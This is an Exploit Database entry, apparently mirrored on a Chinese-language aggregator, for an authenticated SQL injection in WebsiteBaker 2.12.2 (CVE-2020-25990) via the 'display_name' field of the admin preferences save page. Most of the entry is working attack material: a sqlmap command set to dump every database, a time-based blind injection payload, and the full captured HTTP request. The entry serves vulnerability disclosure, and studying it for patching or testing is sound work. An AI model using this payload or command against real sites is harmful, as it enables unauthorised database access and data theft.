WebsiteBaker 2.12.2 – ‘display_name’ SQL Injection (authenticated)

• Exploit Database
• 17 阅读

• 作者： Roel van Beurden
  日期： 2020-10-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48849/

• # Exploit Title: WebsiteBaker 2.12.2 - 'display_name' SQL Injection (authenticated)
  # Google Dork: -
  # Date: 2020-09-20
  # Exploit Author: Roel van Beurden
  # Vendor Homepage:https://websitebaker.org
  # Software Link: https://wiki.websitebaker.org/doku.php/en/downloads
  # Version: 2.12.2
  # Tested on: Linux Ubuntu 18.04
  # CVE: CVE-2020-25990
  
  
  1. Description:
  ----------------------
  WebsiteBaker 2.12.2 allows SQL Injection via parameter 'display_name' in /websitebaker/admin/preferences/save.php.
  Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
  
  2. Proof of Concept:
  ----------------------
  In Burpsuite intercept the request from /websitebaker/admin/preferences/save.php and save it like burp.req
  Then run SQLmap to extract the data from the database:
  
  sqlmap -r burp.req --risk=3 --level=5 --dbs --random-agent
  
  
  3. Example payload:
  ----------------------
  display_name=Administrator" AND (SELECT 9637 FROM (SELECT(SLEEP(5)))ExGN)-- Cspz&language=EN&timezone=system_default&date_format=M d Y&time_format=g:i A&email=admin@example.com&new_password_1=&new_password_2=&current_password=&submit=Save&dd114892c1676ce3=j_5rdRnI_TarPQu7QmVVuw
  
  
  4. Burpsuite request:
  ----------------------
  POST /websitebaker/admin/preferences/save.php HTTP/1.1
  Host: 127.0.0.1
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: http://127.0.0.1/websitebaker/admin/preferences/index.php
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 228
  Connection: close
  Cookie: wb-8123-sid=otfjsmqu8vljs9737crkcm8nec
  Upgrade-Insecure-Requests: 1
  
  display_name=Administrator&language=EN&timezone=system_default&date_format=M+d+Y&time_format=g%3Ai+A&email=admin%40example.com&new_password_1=&new_password_2=&current_password=&submit=Save&dd114892c1676ce3=j_5rdRnI_TarPQu7QmVVuw